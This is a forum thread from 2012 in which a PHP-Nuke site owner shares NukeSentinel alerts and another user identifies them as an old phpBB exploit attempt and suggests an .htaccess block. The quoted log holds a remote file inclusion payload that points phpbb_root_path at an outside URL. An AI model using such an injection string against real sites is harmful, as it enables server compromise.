several hundred blocked abuse emails over the last 2 days

New Member Joined: Dec 30, 2005 Posts: 24

I'm not sure what is going on. I have a site that has been up for several months with no issues. Suddenly, This past weekend, I began receiving several emails from NukeSentinel. The blocked IP Addresses are different. When I go into NukeSentineland look for the blocked IP's I don't see them there.

Here is a sample of the emails I'm getting from NukeSentinel (I've xxx out my ip address)

Code:

Subject: Blocked abuse from 91.121.170.124





Created By: NukeSentinel(tm) 2.6.03


Date &amp; Time: 2012-01-15 22:46:30 EST GMT -0500 Blocked IP: 91.121.170.124 User ID: Anonymous (1)


Reason: Abuse-Filter


--------------------


Referer: none


User Agent: Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.0.16) Gecko/2009122206 Firefox/3.0.16 Flock/2.5.6 HTTP Host: xxx.xxx.xxx.xxx:xxxx Script Name: /modules/Forums/admin/admin_groups.php


Query String: phpbb_root_path=http://www.news.sakhtemani.net/images/daster.jpg??


Get String: phpbb_root_path=http://www.news.sakhtemani.net/images/daster.jpg??


Post String: Not Available


Forwarded For: none


Client IP: none


Remote Address: 91.121.170.124


Remote Port: 36955


Request Method: GET

Can anyone tell me what is going on and give a recommendation on how to stop it, or at least BLOCK these IP Addresses.?

Posted: Mon Jan 16, 2012 11:06 am

You can always change the settings in the Abuse blocker for example ban but no emails.Check your settings in this block. However, this is an old phpBB exploit and you are well protected with NukeSentinel. You can ignore this because it doesn´t work and they will stop it sometime and try other sites.
If you like to ban for a limited time this IP with cidr via .htaccess
deny 91.121.0.0/16

Posted: Mon Jan 16, 2012 11:37 am

Thank you for the explanation! I was getting worried.